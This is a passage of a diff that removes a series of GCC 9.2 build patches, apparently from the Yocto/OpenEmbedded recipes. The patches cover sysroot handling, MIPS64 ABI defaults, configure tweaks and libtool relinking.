- -fext-numeric-literals @gol
- -Wabi=@var{n} -Wabi-tag -Wconversion-null -Wctor-dtor-privacy @gol
- -Wdelete-non-virtual-dtor -Wdeprecated-copy -Wdeprecated-copy-dtor @gol
-@@ -538,7 +541,7 @@ Objective-C and Objective-C++ Dialects}.
- -pie -pthread -r -rdynamic @gol
- -s -static -static-pie -static-libgcc -static-libstdc++ @gol
- -static-libasan -static-libtsan -static-liblsan -static-libubsan @gol
---shared -shared-libgcc -symbolic @gol
-+-shared -shared-libgcc -symbolic -nostdlib++ @gol
- -T @var{script} -Wl,@var{option} -Xlinker @var{option} @gol
- -u @var{symbol} -z @var{keyword}}
-
-@@ -13312,6 +13315,33 @@ Specify that the program entry point is @var{entry}. The argument is
- interpreted by the linker; the GNU linker accepts either a symbol name
- or an address.
-
-+@item -nostdlib++
-+@opindex nostdlib++
-+Do not use the standard system C++ runtime libraries when linking.
-+Only the libraries you specify will be passed to the linker.
-+
-+@cindex @option{-lgcc}, use with @option{-nostdlib}
-+@cindex @option{-nostdlib} and unresolved references
-+@cindex unresolved references and @option{-nostdlib}
-+@cindex @option{-lgcc}, use with @option{-nodefaultlibs}
-+@cindex @option{-nodefaultlibs} and unresolved references
-+@cindex unresolved references and @option{-nodefaultlibs}
-+One of the standard libraries bypassed by @option{-nostdlib} and
-+@option{-nodefaultlibs} is @file{libgcc.a}, a library of internal subroutines
-+which GCC uses to overcome shortcomings of particular machines, or special
-+needs for some languages.
-+(@xref{Interface,,Interfacing to GCC Output,gccint,GNU Compiler
-+Collection (GCC) Internals},
-+for more discussion of @file{libgcc.a}.)
-+In most cases, you need @file{libgcc.a} even when you want to avoid
-+other standard libraries. In other words, when you specify @option{-nostdlib}
-+or @option{-nodefaultlibs} you should usually specify @option{-lgcc} as well.
-+This ensures that you have no unresolved references to internal GCC
-+library subroutines.
-+(An example of such an internal subroutine is @code{__main}, used to ensure C++
-+constructors are called; @pxref{Collect2,,@code{collect2}, gccint,
-+GNU Compiler Collection (GCC) Internals}.)
-+
- @item -pie
- @opindex pie
- Produce a dynamically linked position independent executable on targets
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index a2601a6bb06..cd6c6fc95db 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1052,6 +1052,7 @@ proper position among the other output files. */
- %(mflib) " STACK_SPLIT_SPEC "\
- %{fprofile-arcs|fprofile-generate*|coverage:-lgcov} " SANITIZER_SPEC " \
- %{!nostdlib:%{!r:%{!nodefaultlibs:%(link_ssp) %(link_gcc_c_sequence)}}}\
-+ %{!nostdlib++:}\
- %{!nostdlib:%{!r:%{!nostartfiles:%E}}} %{T*} \n%(post_link) }}}}}}"
- #endif
-
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0006-COLLECT_GCC_OPTIONS.patch b/meta/recipes-devtools/gcc/gcc-9.2/0006-COLLECT_GCC_OPTIONS.patch
deleted file mode 100644
index 9f7e603f8c..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0006-COLLECT_GCC_OPTIONS.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From b9260cd3ac26b0302824ed466a548464c864d95f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:16:28 +0400
-Subject: [PATCH 06/36] COLLECT_GCC_OPTIONS
-
-This patch adds --sysroot into COLLECT_GCC_OPTIONS which is used to
-invoke collect2.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/gcc.c | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index cd6c6fc95db..7da9c5d457b 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -4804,6 +4804,15 @@ set_collect_gcc_options (void)
- sizeof ("COLLECT_GCC_OPTIONS=") - 1);
-
- first_time = TRUE;
-+#ifdef HAVE_LD_SYSROOT
-+ if (target_system_root_changed && target_system_root)
-+ {
-+ obstack_grow (&collect_obstack, "'--sysroot=", sizeof("'--sysroot=")-1);
-+ obstack_grow (&collect_obstack, target_system_root,strlen(target_system_root));
-+ obstack_grow (&collect_obstack, "'", 1);
-+ first_time = FALSE;
-+ }
-+#endif
- for (i = 0; (int) i < n_switches; i++)
- {
- const char *const *args;
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0008-fortran-cross-compile-hack.patch b/meta/recipes-devtools/gcc/gcc-9.2/0008-fortran-cross-compile-hack.patch
deleted file mode 100644
index 24e3abe0bb..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0008-fortran-cross-compile-hack.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 010f09f2963ede24e85134e5fab2fa627a9afa05 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:20:01 +0400
-Subject: [PATCH 08/36] fortran cross-compile hack.
-
-* Fortran would have searched for arm-angstrom-gnueabi-gfortran but would have used
-used gfortan. For gcc_4.2.2.bb we want to use the gfortran compiler from our cross
-directory.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- libgfortran/configure | 2 +-
- libgfortran/configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/libgfortran/configure b/libgfortran/configure
-index 60867b93d0e..3fc9fca5b7b 100755
---- a/libgfortran/configure
-+++ b/libgfortran/configure
-@@ -13071,7 +13071,7 @@ esac
-
- # We need gfortran to compile parts of the library
- #AC_PROG_FC(gfortran)
--FC="$GFORTRAN"
-+#FC="$GFORTRAN"
- ac_ext=${ac_fc_srcext-f}
- ac_compile='$FC -c $FCFLAGS $ac_fcflags_srcext conftest.$ac_ext >&5'
- ac_link='$FC -o conftest$ac_exeext $FCFLAGS $LDFLAGS $ac_fcflags_srcext conftest.$ac_ext $LIBS >&5'
-diff --git a/libgfortran/configure.ac b/libgfortran/configure.ac
-index 7cfce28ab69..6cd515ee1a4 100644
---- a/libgfortran/configure.ac
-+++ b/libgfortran/configure.ac
-@@ -250,7 +250,7 @@ AC_SUBST(enable_static)
-
- # We need gfortran to compile parts of the library
- #AC_PROG_FC(gfortran)
--FC="$GFORTRAN"
-+#FC="$GFORTRAN"
- AC_PROG_FC(gfortran)
-
- # extra LD Flags which are required for targets
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0009-cpp-honor-sysroot.patch b/meta/recipes-devtools/gcc/gcc-9.2/0009-cpp-honor-sysroot.patch
deleted file mode 100644
index 6af0a0124a..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0009-cpp-honor-sysroot.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 45e9cd39d9c62454d46b9e9473a0c1034ceca15d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:22:00 +0400
-Subject: [PATCH 09/36] cpp: honor sysroot.
-
-Currently, if the gcc toolchain is relocated and installed from sstate, then you try and compile
-preprocessed source (.i or .ii files), the compiler will try and access the builtin sysroot location
-rather than the --sysroot option specified on the commandline. If access to that directory is
-permission denied (unreadable), gcc will error.
-
-This happens when ccache is in use due to the fact it uses preprocessed source files.
-
-The fix below adds %I to the cpp-output spec macro so the default substitutions for -iprefix,
--isystem, -isysroot happen and the correct sysroot is used.
-
-[YOCTO #2074]
-
-RP 2012/04/13
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/cp/lang-specs.h | 2 +-
- gcc/gcc.c | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/gcc/cp/lang-specs.h b/gcc/cp/lang-specs.h
-index c6e42eda283..e1ddf066467 100644
---- a/gcc/cp/lang-specs.h
-+++ b/gcc/cp/lang-specs.h
-@@ -66,5 +66,5 @@ along with GCC; see the file COPYING3. If not see
- {".ii", "@c++-cpp-output", 0, 0, 0},
- {"@c++-cpp-output",
- "%{!E:%{!M:%{!MM:"
-- " cc1plus -fpreprocessed %i %(cc1_options) %2"
-+ " cc1plus -fpreprocessed %i %I %(cc1_options) %2"
- " %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 7da9c5d457b..4e7c45b268c 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1349,7 +1349,7 @@ static const struct compiler default_compilers[] =
- %W{o*:--output-pch=%*}}%V}}}}}}}", 0, 0, 0},
- {".i", "@cpp-output", 0, 0, 0},
- {"@cpp-output",
-- "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
-+ "%{!M:%{!MM:%{!E:cc1 -fpreprocessed %i %I %(cc1_options) %{!fsyntax-only:%(invoke_as)}}}}", 0, 0, 0},
- {".s", "@assembler", 0, 0, 0},
- {"@assembler",
- "%{!M:%{!MM:%{!E:%{!S:as %(asm_debug) %(asm_options) %i %A }}}}", 0, 0, 0},
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0010-MIPS64-Default-to-N64-ABI.patch b/meta/recipes-devtools/gcc/gcc-9.2/0010-MIPS64-Default-to-N64-ABI.patch
deleted file mode 100644
index bc0c6d5bed..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0010-MIPS64-Default-to-N64-ABI.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 1ff4108d707b34e399e9dc418ad1ecc42f72676d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:23:08 +0400
-Subject: [PATCH 10/36] MIPS64: Default to N64 ABI
-
-MIPS64 defaults to n32 ABI, this patch makes it
-so that it defaults to N64 ABI
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [OE config specific]
----
- gcc/config.gcc | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/gcc/config.gcc b/gcc/config.gcc
-index ddd3b8f4d9d..fdfc0bd3e82 100644
---- a/gcc/config.gcc
-+++ b/gcc/config.gcc
-@@ -2282,29 +2282,29 @@ mips*-*-linux*) # Linux MIPS, either endian.
- default_mips_arch=mips32
- ;;
- mips64el-st-linux-gnu)
-- default_mips_abi=n32
-+ default_mips_abi=64
- tm_file="${tm_file} mips/st.h"
- tmake_file="${tmake_file} mips/t-st"
- enable_mips_multilibs="yes"
- ;;
- mips64octeon*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- tm_defines="${tm_defines} MIPS_CPU_STRING_DEFAULT=\\\"octeon\\\""
- target_cpu_default=MASK_SOFT_FLOAT_ABI
- enable_mips_multilibs="yes"
- ;;
- mipsisa64r6*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- default_mips_arch=mips64r6
- enable_mips_multilibs="yes"
- ;;
- mipsisa64r2*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- default_mips_arch=mips64r2
- enable_mips_multilibs="yes"
- ;;
- mips64*-*-linux* | mipsisa64*-*-linux*)
-- default_mips_abi=n32
-+ default_mips_abi=64
- enable_mips_multilibs="yes"
- ;;
- esac
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0012-gcc-Fix-argument-list-too-long-error.patch b/meta/recipes-devtools/gcc/gcc-9.2/0012-gcc-Fix-argument-list-too-long-error.patch
deleted file mode 100644
index 60539795c5..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0012-gcc-Fix-argument-list-too-long-error.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 2cb227cd8069c73242286f64183fb203f8d2618a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:26:37 +0400
-Subject: [PATCH 12/36] gcc: Fix argument list too long error.
-
-There would be an "Argument list too long" error when the
-build directory is longer than 200, this is caused by:
-
-headers=`echo $(PLUGIN_HEADERS) | tr ' ' '\012' | sort -u`
-
-The PLUGIN_HEADERS is too long before sort, so the "echo" can't handle
-it, use the $(sort list) of GNU make which can handle the too long list
-would fix the problem, the header would be short enough after sorted.
-The "tr ' ' '\012'" was used for translating the space to "\n", the
-$(sort list) doesn't need this.
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 41f0f592ff4..0064a282488 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -3537,7 +3537,7 @@ install-plugin: installdirs lang.install-plugin s-header-vars install-gengtype
- # We keep the directory structure for files in config or c-family and .def
- # files. All other files are flattened to a single directory.
- $(mkinstalldirs) $(DESTDIR)$(plugin_includedir)
-- headers=`echo $(PLUGIN_HEADERS) $$(cd $(srcdir); echo *.h *.def) | tr ' ' '\012' | sort -u`; \
-+ headers="$(sort $(PLUGIN_HEADERS) $$(cd $(srcdir); echo *.h *.def))"; \
- srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`; \
- for file in $$headers; do \
- if [ -f $$file ] ; then \
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0013-Disable-sdt.patch b/meta/recipes-devtools/gcc/gcc-9.2/0013-Disable-sdt.patch
deleted file mode 100644
index a21a63c617..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0013-Disable-sdt.patch
+++ /dev/null
@@ -1,113 +0,0 @@
-From aea5ffa9d704f4eb8fa93366884d3c26a1dbec49 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:28:10 +0400
-Subject: [PATCH 13/36] Disable sdt.
-
-We don't list dtrace in DEPENDS so we shouldn't be depending on this header.
-It may or may not exist from preivous builds though. To be determinstic, disable
-sdt.h usage always. This avoids build failures if the header is removed after configure
-but before libgcc is compiled for example.
-
-RP 2012/8/7
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Disable sdt for libstdc++-v3.
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Upstream-Status: Inappropriate [hack]
----
- gcc/configure | 12 ++++++------
- gcc/configure.ac | 18 +++++++++---------
- libstdc++-v3/configure | 6 +++---
- libstdc++-v3/configure.ac | 2 +-
- 4 files changed, 19 insertions(+), 19 deletions(-)
-
-diff --git a/gcc/configure b/gcc/configure
-index e3bcf8abe9a..1f1d22ca666 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -29332,12 +29332,12 @@ fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking sys/sdt.h in the target C library" >&5
- $as_echo_n "checking sys/sdt.h in the target C library... " >&6; }
- have_sys_sdt_h=no
--if test -f $target_header_dir/sys/sdt.h; then
-- have_sys_sdt_h=yes
--
--$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
--
--fi
-+#if test -f $target_header_dir/sys/sdt.h; then
-+# have_sys_sdt_h=yes
-+#
-+#$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-+#
-+#fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $have_sys_sdt_h" >&5
- $as_echo "$have_sys_sdt_h" >&6; }
-
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 2ebc377a74d..ddc85197588 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -5995,15 +5995,15 @@ fi
- AC_SUBST([enable_default_ssp])
-
- # Test for <sys/sdt.h> on the target.
--GCC_TARGET_TEMPLATE([HAVE_SYS_SDT_H])
--AC_MSG_CHECKING(sys/sdt.h in the target C library)
--have_sys_sdt_h=no
--if test -f $target_header_dir/sys/sdt.h; then
-- have_sys_sdt_h=yes
-- AC_DEFINE(HAVE_SYS_SDT_H, 1,
-- [Define if your target C library provides sys/sdt.h])
--fi
--AC_MSG_RESULT($have_sys_sdt_h)
-+#GCC_TARGET_TEMPLATE([HAVE_SYS_SDT_H])
-+#AC_MSG_CHECKING(sys/sdt.h in the target C library)
-+#have_sys_sdt_h=no
-+#if test -f $target_header_dir/sys/sdt.h; then
-+# have_sys_sdt_h=yes
-+# AC_DEFINE(HAVE_SYS_SDT_H, 1,
-+# [Define if your target C library provides sys/sdt.h])
-+#fi
-+#AC_MSG_RESULT($have_sys_sdt_h)
-
- # Check if TFmode long double should be used by default or not.
- # Some glibc targets used DFmode long double, but with glibc 2.4
-diff --git a/libstdc++-v3/configure b/libstdc++-v3/configure
-index 5acf79cba54..191bc6c5796 100755
---- a/libstdc++-v3/configure
-+++ b/libstdc++-v3/configure
-@@ -22085,11 +22085,11 @@ ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
- ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
- ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-- if test $glibcxx_cv_sys_sdt_h = yes; then
-+# if test $glibcxx_cv_sys_sdt_h = yes; then
-
--$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-+#$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-
-- fi
-+# fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $glibcxx_cv_sys_sdt_h" >&5
- $as_echo "$glibcxx_cv_sys_sdt_h" >&6; }
-
-diff --git a/libstdc++-v3/configure.ac b/libstdc++-v3/configure.ac
-index dadd8827b49..6b1ce9957d3 100644
---- a/libstdc++-v3/configure.ac
-+++ b/libstdc++-v3/configure.ac
-@@ -230,7 +230,7 @@ GLIBCXX_CHECK_SC_NPROCESSORS_ONLN
- GLIBCXX_CHECK_SC_NPROC_ONLN
- GLIBCXX_CHECK_PTHREADS_NUM_PROCESSORS_NP
- GLIBCXX_CHECK_SYSCTL_HW_NCPU
--GLIBCXX_CHECK_SDT_H
-+#GLIBCXX_CHECK_SDT_H
-
- # Check for available headers.
- AC_CHECK_HEADERS([endian.h execinfo.h float.h fp.h ieeefp.h inttypes.h \
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0018-export-CPP.patch b/meta/recipes-devtools/gcc/gcc-9.2/0018-export-CPP.patch
deleted file mode 100644
index 0f728ec542..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0018-export-CPP.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 987338cd847a723de533bb317e452a60b1e52165 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Feb 2015 09:40:59 +0000
-Subject: [PATCH 18/36] export CPP
-
-The OE environment sets and exports CPP as being the target gcc. When
-building gcc-cross-canadian for a mingw targetted sdk, the following can be found
-in build.x86_64-pokysdk-mingw32.i586-poky-linux/build-x86_64-linux/libiberty/config.log:
-
-configure:3641: checking for _FILE_OFFSET_BITS value needed for large files
-configure:3666: gcc -c -isystem/media/build1/poky/build/tmp/sysroots/x86_64-linux/usr/include -O2 -pipe conftest.c >&5
-configure:3666: $? = 0
-configure:3698: result: no
-configure:3786: checking how to run the C preprocessor
-configure:3856: result: x86_64-pokysdk-mingw32-gcc -E --sysroot=/media/build1/poky/build/tmp/sysroots/x86_64-nativesdk-mingw32-pokysdk-mingw32
-configure:3876: x86_64-pokysdk-mingw32-gcc -E --sysroot=/media/build1/poky/build/tmp/sysroots/x86_64-nativesdk-mingw32-pokysdk-mingw32 conftest.c
-configure:3876: $? = 0
-
-Note this is a *build* target (in build-x86_64-linux) so it should be
-using the host "gcc", not x86_64-pokysdk-mingw32-gcc. Since the mingw32
-headers are very different, using the wrong cpp is a real problem. It is leaking
-into configure through the CPP variable. Ultimately this leads to build
-failures related to not being able to include a process.h file for pem-unix.c.
-
-The fix is to ensure we export a sane CPP value into the build
-environment when using build targets. We could define a CPP_FOR_BUILD value which may be
-the version which needs to be upstreamed but for now, this fix is good enough to
-avoid the problem.
-
-RP 22/08/2013
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile.in | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/Makefile.in b/Makefile.in
-index 64e091ba71d..255822e3f27 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -149,6 +149,7 @@ BUILD_EXPORTS = \
- AR="$(AR_FOR_BUILD)"; export AR; \
- AS="$(AS_FOR_BUILD)"; export AS; \
- CC="$(CC_FOR_BUILD)"; export CC; \
-+ CPP="$(CC_FOR_BUILD) -E"; export CPP; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0019-Ensure-target-gcc-headers-can-be-included.patch b/meta/recipes-devtools/gcc/gcc-9.2/0019-Ensure-target-gcc-headers-can-be-included.patch
deleted file mode 100644
index 53f9e99d07..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0019-Ensure-target-gcc-headers-can-be-included.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From d27ba49e2e5c608c43265462d6831363cc7f565b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Feb 2015 10:25:11 +0000
-Subject: [PATCH 19/36] Ensure target gcc headers can be included
-
-There are a few headers installed as part of the OpenEmbedded
-gcc-runtime target (omp.h, ssp/*.h). Being installed from a recipe
-built for the target architecture, these are within the target
-sysroot and not cross/nativesdk; thus they weren't able to be
-found by gcc with the existing search paths. Add support for
-picking up these headers under the sysroot supplied on the gcc
-command line in order to resolve this.
-
-Upstream-Status: Pending
-
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/Makefile.in | 2 ++
- gcc/cppdefault.c | 4 ++++
- gcc/defaults.h | 9 +++++++++
- gcc/gcc.c | 7 -------
- 4 files changed, 15 insertions(+), 7 deletions(-)
-
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -618,6 +618,7 @@ libexecdir = @libexecdir@
-
- # Directory in which the compiler finds libraries etc.
- libsubdir = $(libdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
-+libsubdir_target = $(target_noncanonical)/$(version)
- # Directory in which the compiler finds executables
- libexecsubdir = $(libexecdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
- # Directory in which all plugin resources are installed
-@@ -2866,6 +2867,7 @@ CFLAGS-intl.o += -DLOCALEDIR=\"$(localed
-
- PREPROCESSOR_DEFINES = \
- -DGCC_INCLUDE_DIR=\"$(libsubdir)/include\" \
-+ -DGCC_INCLUDE_SUBDIR_TARGET=\"$(libsubdir_target)/include\" \
- -DFIXED_INCLUDE_DIR=\"$(libsubdir)/include-fixed\" \
- -DGPLUSPLUS_INCLUDE_DIR=\"$(gcc_gxx_include_dir)\" \
- -DGPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT=$(gcc_gxx_include_dir_add_sysroot) \
---- a/gcc/cppdefault.c
-+++ b/gcc/cppdefault.c
-@@ -59,6 +59,10 @@ const struct default_include cpp_include
- /* This is the dir for gcc's private headers. */
- { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
- #endif
-+#ifdef GCC_INCLUDE_SUBDIR_TARGET
-+ /* This is the dir for gcc's private headers under the specified sysroot. */
-+ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
-+#endif
- #ifdef LOCAL_INCLUDE_DIR
- /* /usr/local/include comes before the fixincluded header files. */
- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0020-gcc-4.8-won-t-build-with-disable-dependency-tracking.patch b/meta/recipes-devtools/gcc/gcc-9.2/0020-gcc-4.8-won-t-build-with-disable-dependency-tracking.patch
deleted file mode 100644
index b0f96d06d4..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0020-gcc-4.8-won-t-build-with-disable-dependency-tracking.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 83bcd4cc47ae63971c888c117abd00dfd506532c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Feb 2015 11:17:19 +0000
-Subject: [PATCH 20/36] gcc 4.8+ won't build with --disable-dependency-tracking
-
-since the *.Ppo files don't get created unless --enable-dependency-tracking is true.
-
-This patch ensures we only use those compiler options when its enabled.
-
-Upstream-Status: Submitted
-
-(Problem was already reported upstream, attached this patch there
-http://gcc.gnu.org/bugzilla/show_bug.cgi?id=55930)
-
-RP
-2012/09/22
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libatomic/Makefile.am | 3 ++-
- libatomic/Makefile.in | 3 ++-
- 2 files changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/libatomic/Makefile.am b/libatomic/Makefile.am
-index c1b7c73934a..ef43d62c07a 100644
---- a/libatomic/Makefile.am
-+++ b/libatomic/Makefile.am
-@@ -101,7 +101,8 @@ PAT_S = $(word 3,$(PAT_SPLIT))
- IFUNC_DEF = -DIFUNC_ALT=$(PAT_S)
- IFUNC_OPT = $(word $(PAT_S),$(IFUNC_OPTIONS))
-
--M_DEPS = -MT $@ -MD -MP -MF $(DEPDIR)/$(@F).Ppo
-+@AMDEP_TRUE@M_DEPS = -MT $@ -MD -MP -MF $(DEPDIR)/$(@F).Ppo
-+@AMDEP_FALSE@M_DEPS =
- M_SIZE = -DN=$(PAT_N)
- M_IFUNC = $(if $(PAT_S),$(IFUNC_DEF) $(IFUNC_OPT))
- M_FILE = $(PAT_BASE)_n.c
-diff --git a/libatomic/Makefile.in b/libatomic/Makefile.in
-index 29324e3e0ac..d5cdb4259ef 100644
---- a/libatomic/Makefile.in
-+++ b/libatomic/Makefile.in
-@@ -414,7 +414,8 @@ PAT_N = $(word 2,$(PAT_SPLIT))
- PAT_S = $(word 3,$(PAT_SPLIT))
- IFUNC_DEF = -DIFUNC_ALT=$(PAT_S)
- IFUNC_OPT = $(word $(PAT_S),$(IFUNC_OPTIONS))
--M_DEPS = -MT $@ -MD -MP -MF $(DEPDIR)/$(@F).Ppo
-+@AMDEP_TRUE@M_DEPS = -MT $@ -MD -MP -MF $(DEPDIR)/$(@F).Ppo
-+@AMDEP_FALSE@M_DEPS =
- M_SIZE = -DN=$(PAT_N)
- M_IFUNC = $(if $(PAT_S),$(IFUNC_DEF) $(IFUNC_OPT))
- M_FILE = $(PAT_BASE)_n.c
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0021-Don-t-search-host-directory-during-relink-if-inst_pr.patch b/meta/recipes-devtools/gcc/gcc-9.2/0021-Don-t-search-host-directory-during-relink-if-inst_pr.patch
deleted file mode 100644
index f36ca29b9e..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0021-Don-t-search-host-directory-during-relink-if-inst_pr.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 667cc8d43e8fb4ac09654ee408da482f96b09580 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 3 Mar 2015 08:21:19 +0000
-Subject: [PATCH 21/36] Don't search host directory during "relink" if
- $inst_prefix is provided
-
-http://lists.gnu.org/archive/html/libtool-patches/2011-01/msg00026.html
-
-Upstream-Status: Submitted
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltmain.sh | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index 0a93b4e5c3b..6de6ed2f9a0 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -6004,12 +6004,13 @@ func_mode_link ()
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
-+ # Default if $libdir is not relative to the prefix:
- add_dir="-L$libdir"
-- # Try looking first in the location we're being installed to.
-+
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
-- add_dir="$add_dir -L$inst_prefix_dir$libdir"
-+ add_dir="-L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0022-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch b/meta/recipes-devtools/gcc/gcc-9.2/0022-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch
deleted file mode 100644
index d5b9150023..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0022-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 279c4de48e3fd61e2f268787ed3f1d69ed9224f8 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 28 Apr 2015 23:15:27 -0700
-Subject: [PATCH 22/36] Use SYSTEMLIBS_DIR replacement instead of hardcoding
- base_libdir
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/aarch64/aarch64-linux.h | 2 +-
